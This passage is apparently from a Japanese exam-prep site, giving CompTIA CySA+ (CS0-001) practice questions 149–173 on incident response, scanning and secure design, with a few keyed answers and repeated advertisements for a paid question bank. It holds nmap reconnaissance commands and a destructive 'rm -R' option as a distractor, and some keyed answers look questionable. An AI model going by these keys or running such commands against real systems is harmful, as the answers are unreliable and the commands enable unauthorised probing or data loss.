192.168.1.22 1a-25-0d-df-89-cb dynamic
```

上記の結果から、管理者は次のうちどれを最初に調査すればよいですか。

- A. APワークショップデバイス
- B. ユーザーのPC
- C. AP受信デバイス
- D. AP-IT機器
- E. 192.168.1.4のデバイス

正解: ([正解を表示します](#))

質問: 149

会社は、会社が所有するデバイスに対して、すべての物理的な場所から内部ネットワークへのワイヤレス接続を提供します。ユーザーは前日に接続できましたが、今ではすべてのユーザーが会議室のアクセスポイントに接続すると会社のリソースにアクセスできないと報告しています。次のうちどれが問題の原因を説明していますか。

- A. アクセスポイントがMACアドレスでアクセスをブロックしています。MACアドレスフィルタリングを無効にします。
- B. ネットワークは利用できません。この問題をネットワークサポートに報告してください。
- C. アクセスポイントは不正なデバイスです。インシデント対応手順に従ってください。
- D. ユーザーのデバイス上の期限切れのDNSエントリ影響を受けるユーザーにDNSフラッシュを実行するように要求します。

正解: ([正解を表示します](#))

質問: 150

3か月分のログを確認している間に、セキュリティアナリストは、会社の製造場所でSCADA機器に行っている会社のランダムなラップトップからのプローブに気づいています。ファイアウォールの規則が適用されているにもかかわらず、プローブの中には機器からの応答を取得しているものがあります。アナリストは、このアクティビティが会社のラップトップから発生しないようにすることを推奨するのはどれですか？

- A. SCADAネットワークへのアクセスをブロックするために会社のシステムにグループポリシーを実装します。
- B. SCADA機器にセキュリティソフトウェアとホストベースのファイアウォールをインストールします。
- C. 転送プロキシを通過するためにSCADAネットワークへの接続を要求します。
- D. ファイアウォールのルールを更新して、それらのラップトップIPアドレスからのSCADAネットワークアクセスをブロックします。

正解: A ([コメントを發表する](#))

質問: 151

サイバーインシデント対応チームは、攻撃者が悪意のあるコードをWebアプリケーションに挿入することを可能にする脆弱性を企業のWebサイトに発見しました。疑いを持たないユーザーが感染したページにアクセスし、被害者のブラウザで実行された悪質なコードがCookieの盗難、セッションのハイジャック、マルウェアの実行、およびアクセス制御の迂回につながっています。攻撃者は次のうちどれを攻撃していますか？

- A. 特権の昇格
- B. クロスサイトスクリプティング
- C. ルートキット
- D. ロジック爆弾

正解: ([正解を表示します](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458問**、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 152

セキュリティアナリストが最近のインシデントに続く攻撃者の偵察段階での成功の程度を判断するためにパケットキャプチャを確認しています。

以下は、そのようなパケットの16進数およびASCIIダンプです。

0000	08 00 27 38 db ed 08 08 27 97 3f 45 08 00 45 00	..8....'?.E..E.
0010	00 46 00 ec 40 00 80 06 f5 c1 44 1d 37 0e 0a 00	.F..e.....
0020	01 0f 05 21 00 35 d1 f8 c1 17 5f f5 a8 bd 50 18	5...._...P.
0030	fb 90 05 68 00 00 00 1c 00 00 00 00 00 01 00 00	...h.....
0040	00 00 00 00 04 63 6f 6d 70 2e 03 74 69 61 00 fc	comp.tia...
0050	00 01 4d 53	..MS

次のBESTのどれがこのパケットを説明していますか？

- A. DNS BINDバージョン要求
- B. DNSゾーン転送要求
- C. DNS over UDPの標準クエリ
- D. DNSサーバー上のTCPサーバーの状況照会

正解: ([正解を表示します](#))

質問: 153

ある保険会社は、保険会社のアプリをインストールした状態で、会社が発行したモバイルデバイスを携帯するクイックレスポンスチームドライバーを採用しています。デバイスはMDMによって構成が強化され、最新の状態に保たれます。従業員は保険金請求情報を収集し、支払いを処理するためにアプリを使用します。

最近、多くの顧客が保険会社に対してクレジットカード詐欺の苦情を申し立てています。これは、支払いがモバイルアプリで処理された直後に発生しました。サイバーインシデント対応チームは調査を依頼されています。最も可能性が高い原因は次のうちどれですか？

- A. MDMサーバーの設定が誤っています。
- B. USBテザリングが有効になります。
- C. アプリはTLSを採用していません。
- D. 3G以下の携帯電話技術は制限されない。

正解: ([正解を表示します](#))

質問: 154

最高情報セキュリティ責任者 (CISO)は、セキュリティプログラムの基盤となるフレームワークを特定するようセキュリティスタッフに依頼しました。CISOは、セキュリティプログラムがすべての必要なベストプラクティスを満たしていることを示す認証を取得したいと考えています。次のうちどれが最良の選択でしょうか？

- A. OSSIM
- B. SANS
- C. ISO
- D. SDLC

正解: ([正解を表示します](#))

質問: 155

ある会社が年間予算の10%をセキュリティ技術に投資しました。CIO（最高情報責任者は、この投資がなければ、同社が3カ月前に競合他社に経験したのと同じサイバー攻撃の次の犠牲者になる危険性があると確信しています。しかし、この投資にもかかわらず、ユーザーは仕事を終わらせるために同僚とユーザー名とパスワードを共有しています。次のうちどれがこのプラクティスによって導入されたリスクを排除しますか？

- A. 否認防止を確実にするための解決策に投資しそして実行する
- B. ユーザーに自分の資格情報を共有しないように求める電子メールを送信する
- C. 毎日パスワードを変更する
- D. 自分の資格情報を共有しているすべてのユーザーについてレポートを作成し、それ以上の操作について管理者に警告します。

正解: ([正解を表示します](#))

質問: 156

セキュリティアナリストが侵入先のワークステーションを受け取りました。ワークステーションのハードドライブに犯罪行為の証拠が含まれている可能性があります。次のうちどれが分析を実行しながら、ハードドライブの整合性を確保するためにアナリストがしなければならないのですか？

- A. ハードドライブをコピーします。
- B. 書き込みブロッカーを使用します。
- C. `rm -R`コマンドを実行してハッシュを作成します。
- D. 別のマシンにインストールして内容を調べます。

正解: B ([コメントを發表する](#))

説明/参照 :

Explanation:

質問: 157

先を見越して、アナリストは監査人が来月訪問する前にサンプルワークステーションに対して評価を実行しました。スキャン結果は次のとおりです。

Microsoft Windows SMB Not Fully Accessible Detection
Cannot Access the Windows Registry
Scan Not Performed with Admin Privilege

スキヤンの出力に基づいて、次のうちどれが最も良い答えですか？

- A. コンプライアンスチェックに失敗しました
- B. 資産インベントリの失敗
- C. 感度レベルチェック成功
- D. 認証情報スキヤンの失敗

正解: ([正解を表示します](#))

質問: 158

セキュリティアナリストは、重要なWebアプリケーションの停止呼び出しに参加するように求められました。Webミドルウェアサポートチームは、Webサーバーが稼働しており、要求の処理に問題がないことを確認しました。しかし、ある調査では、ファイアウォールがその午前1時頃に始まったWebサーバーを拒否していることが明らかになりました。アクセスを可能にするために緊急の変更が行われましたが、経営陣は根本原因の特定を求めています。次のうち最良の次のステップはどれですか？

- A. Webサーバーの近くにパケットアナライザをインストールして、サンプルトラフィックをキャプチャして異常を見つけます。
- B. ポートスキャナーを使ってWebサーバー上のすべての待機ポートを調べます。
- C. ログイングサーバーでルールの変更を検索します。
- D. WebサーバーへのすべてのトラフィックをACLでブロックします。

正解: ([正解を表示します](#))

質問: 159

複数のセンサーからのアクティビティを分析して相関付けした結果、セキュリティアナリストは、リスクの高い国のグループが、企業ネットワークの高度な侵害と過去3か月間の標的型攻撃の継続的な管理に責任があると判断しました。今まで、攻撃は気づかれずに行きました。これは次の例です。

- A. 特権の昇格
- B. 高度な持続的脅威
- C. 悪意のある内部関係者の脅威。
- D. スピアフィッシング

正解: B ([コメントを发表する](#))

説明/参照 :

Explanation:

質問: 160

セキュリティー監査の結果、ユーザー認証用にLDAPに接続するときにポート389が636の代わりに使用されていたことが明らかになりました。監査で推奨されている改善策は、技術的に可能な限りポートを636に切り替えることでした。次のうちどれが最高の応答ですか？

A. 監査を修正してください。この発見はよく知られている誤検知です。通常389で実行されるサービス

636は同じです。

B. 暗号化サービスはデフォルトで636で実行されるため、それをサポートするすべてのデバイスとサーバーを636に変更します。

C. 389はrootアクセスが必要な予約ポートであり、サーバーを特権昇格攻撃にさらす可能性があるため、それをサポートするすべてのデバイスとサーバーを636に変更します。

D. 監査を修正します。この検出結果は正確ですが、正しい修正方法は、ポート636と一致するように各サーバーの暗号化キーを更新することです。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 161

組織がネットワークの脆弱性を特定するために侵入テストを実施しています。侵入テスト担当者は、最新のスキャンから次の出力を受信しました。

```
Starting Nmap 4.67 (http://nmap.org) at 2011-11-03 18:32 EDT
Nmap scan report for 192.168.1.13
Host is up (0.00066s latency).
Not shown: 996 closed ports

PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
139/tcp    open   netbios-ssn
1417/tcp   open   timbuktu-srv1

MAC Address: 01:AA:FB:23:21:45

Nmap done: 1 IP address (1 host up) scanned in 4.22 seconds
```

侵入テスト担当者は、組織がTimbuktuサーバーを使用していないことを知っていて、Nmapにターゲット上のポートをより詳細に問い合わせさせたいと考えています。侵入テスト担当者は次のコマンドのうちどれをNEXTを使用するべきですか？

A. nmap 192.168.1.13 -v

B. nmap -sS 192.168.1.13 -p1417

C. nmap -sV 192.168.1.13 -p1417

D. sudo nmap -sS 192.168.1.13

正解: ([正解を表示します](#))

質問: 162

競合企業でのデータ漏洩/侵害について読んだ後、組織のシニアリーダーはソーシャルエンジニアリング攻撃に対する懸念を強めています。彼らはこの脅威に関するスタッフの意識を高めたいと思っていますが、これらの方法は無効であると考えているため、従来のトレーニング方法を使用したくありません。以下のアプローチのどれが要件を最もよく満たすでしょうか？

- A. PIIに対する意識を高め、データ侵害とその結果の例を提供するように従業員に求めるポスターコンテスト
- B. 組織の内外にランダムに配置されたUSBドライブで、ドライブをコンピュータに接続したすべてのユーザーにポップアップ警告が表示されます。
- C. 従業員に、更新された電話番号と勤務先で電子メールに返信するよう求める模擬フィッシングメール
- D. ソーシャルメディアの危険性に関するクラスルームトレーニングの後に、完全なスコアを取得した従業員のためのテストおよびギフト券を発行します。

正解: **D** ([コメントを発表する](#))

質問: 163

製造業のソフトウェア開発会社が、主力製品のアルファ版を完成させたばかりです。アプリケーションは過去3年間開発中です。SOCは、特定のAPTに関連した指標による侵入の試みを見てきました。同社はCOOPのホットサイトの場所を持っています。次の脅威のうちどれが最も大きな経済的影響を会社にもたらすでしょうか？

- A. DDoS
- B. IPS回避
- C. IPの盗難
- D. ICSの破壊

正解: ([正解を表示します](#))

質問: 164

セキュリティアナリストが、企業のデータセンターを継続的にスキャンし、継続的に監視しています。

時間の経過とともに、これらのスキャンは、同じアプリケーションを実行するためにクラスタ化されている特定のサーバーグループで、同じ脆弱性に対する脆弱性および新しい脆弱性の増加を繰り返し示しています。次の脆弱性管理プロセスのうちどれを実装する必要がありますか？

- A. グループポリシーの変更
- B. 頻繁なサーバースキャン
- C. 通常のパッチ適用
- D. 自動レポート生成

正解: ([正解を表示します](#))

質問: 165

会社の最新のサーバースキャンで、脆弱性のリストが報告されています。セキュリティアナリストはこれらの脆弱性を確認し、次の変更ウィンドウでどの脆弱性を修正する必要があるのか、および待機する必要があるのか、または修正の必要がないのかを判断する必要があります。さらなる調査を保留中です。アナリストは、次の脆弱性のうちどれを最初に修正しますか？

A. アナリストはまずimap5 (93 / tcp)を修正する必要があります。SSLv2スイートは5つの強力な暗号と2つの弱い「エクスポートクラス」暗号を提供します。

B. アナリストは最初にdns (53 / tcp)を修正する必要があります。リモートのBIND 9 DNSサーバーはバッファオーバーフローの影響を受けやすく、攻撃者はこのホストでシェルを獲得したり、このサーバーを無効にしたりする可能性があります。

C. アナリストは最初にftp (21 / tcp)を修正する必要があります。このポートでは、古いバージョンのFTPが実行されています。

使用していない場合は無効にしてください。

D. アナリストは最初にhttps (443 / tcp)を修正する必要があります。このWebサーバーはバナーをつかみやすく、Linux上のApache / 1.3.27-9 (mod_fastcgi付き)としてフィンガープリントされています。

正解: [\(正解を表示します\)](#)

質問: 166

ペネトレーションテスターを雇っている会社は、許可された活動のリストからソーシャルエンジニアリングを除外したいと考えています。次の文書のどれがこれらの詳細を含めるべきですか？

A. 利用規定

B. サービスレベル契約

C. 関与のルール

D. 覚書

E. マスターサービス契約

正解: C ([コメントを發表する](#))

説明/参照 :

Explanation:

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 167

セキュリティアナリストは、許可されていないユーザーが運用サーバー環境に保存されている機密データにアクセスできることを懸念しています。特定のネットワークセグメント上のすべての

ワークステーションは、運用中のどのサーバーにもフルアクセスできます。不正アクセスを防止するために、本番環境に展開する必要があるのはどれですか。(2つ選んでください。)

- A. ファイアウォール
- B. IPS
- C. ジャンプボックス
- D. ハニーポット
- E. DLPシステム

正解: A,C ([コメントを发表する](#))

質問: 168

サイバーセキュリティアナリストが現在のBYODセキュリティ体制を検討しています。ユーザーは自分のカレンダー、電子メール、および連絡先をスマートフォンまたはその他の個人用デバイスと同期できる必要があります。推奨事項はユーザーに最も柔軟性を提供する必要があります。次の推奨事項のどれが、モバイルデータ保護の取り組みと、このシナリオで説明されているビジネス要件の両方を満たすでしょうか。

- A. アクセス可能なデータの種類を制限しながら最低限のセキュリティ基準を設定します。
- B. USBアクセスで構成され、センサーによって監視されている単一のコンピューターを実装します。
- C. 承認されたユーザーのアクセスリストを使用しながら同期するためのキオスクを配置します。
- D. モバイルデバイスアクセス用に構成され、センサーによって監視されるワイヤレスネットワークを実装します。

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 169

次のシステムのうちどれが完全な前方秘密に関連する公開された脆弱性を有することが判明した場合、最も危険にさらされる危険性がありますか？

- A. SIEM
- B. 仮想ホスト
- C. VPNコンセントレータ
- D. レイヤ2スイッチ
- E. エンドポイント

正解: ([正解を表示します](#))

質問: 170

ソフトウェア開発の責任者は、バックエンドデータベースサーバーの不正使用の成功など、最近のWebアプリケーションのセキュリティ問題について懸念を抱いています。ディレクターはセキュリティチームと協力して、Webアプリケーションおよびそれらをサポートするサービスを設

計、構築、およびテストするための標準化された方法を実装したいと考えています。次のうちどれが基準を満たしていますか？

- A. OWASP
- B. SANS
- C. PHP
- D. Ajax

正解: ([正解を表示します](#))

説明/参照 :

参照先 <https://www.synopsys.com/software-integrity/resources/knowledge-database/owasp-top-10.html>

質問: 171

アナリストは、ワークステーションからの異常なネットワークトラフィックを観察しています。ワークステーションは、暗号化されたトンネルを介して既知の悪質なサイトと通信しています。更新されたアンチウイルスシグネチャファイルを使用したフルアンチウイルススキャンでは、感染の兆候は見られません。次のうちどれがワークステーションで発生しましたか？

- A. ゼロデイ攻撃
- B. 既知のマルウェア攻撃
- C. セッションハイジャック
- D. クッキーを盗む

正解: ([正解を表示します](#))

説明/参照 :

Explanation:

質問: 172

セキュリティアナリストは、PIIが顧客データベースからDMZ内の匿名FTPサーバーにコピーされたことに気付きました。ファイアウォールログは、カスタマーデータベースが匿名FTPサーバーからアクセスされていないことを示しています。次のどの部門がさらに調査を進めることについて決定を下すべきですか？

(2つ選んでください。)

- A. IT管理
- B. 法務
- C. 経営管理
- D. 広報
- E. 人事

正解: ([正解を表示します](#))

質問: 173

セキュリティアナリストが、外部のベンダーによって管理されているビジネスクリティカルなアプリケーションをサポートするサーバーの脆弱性スキャンを完了したばかりです。スキャンの結

果は、デバイスに重要なパッチが不足していることを示しています。次のうちどれがこれらの脆弱性の修正を妨げることができますか？ 2つ選んでください。）

- A. 業務プロセスの中断
- B. 必要なサンドボックステスト
- C. 補助仕入先とのSLA
- D. 不完全な資産在庫
- E. 不適切なデータ分類

正解: ([正解を表示します](#))

有効的な**CS0-001**問題集はJPNTTest.com提供され、**CS0-001**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-001**試験問題集を提供します。JPNTTest.com CS0-001試験問題集はもう更新されました。ここで**CS0-001**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-001-mondaishu> **458**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」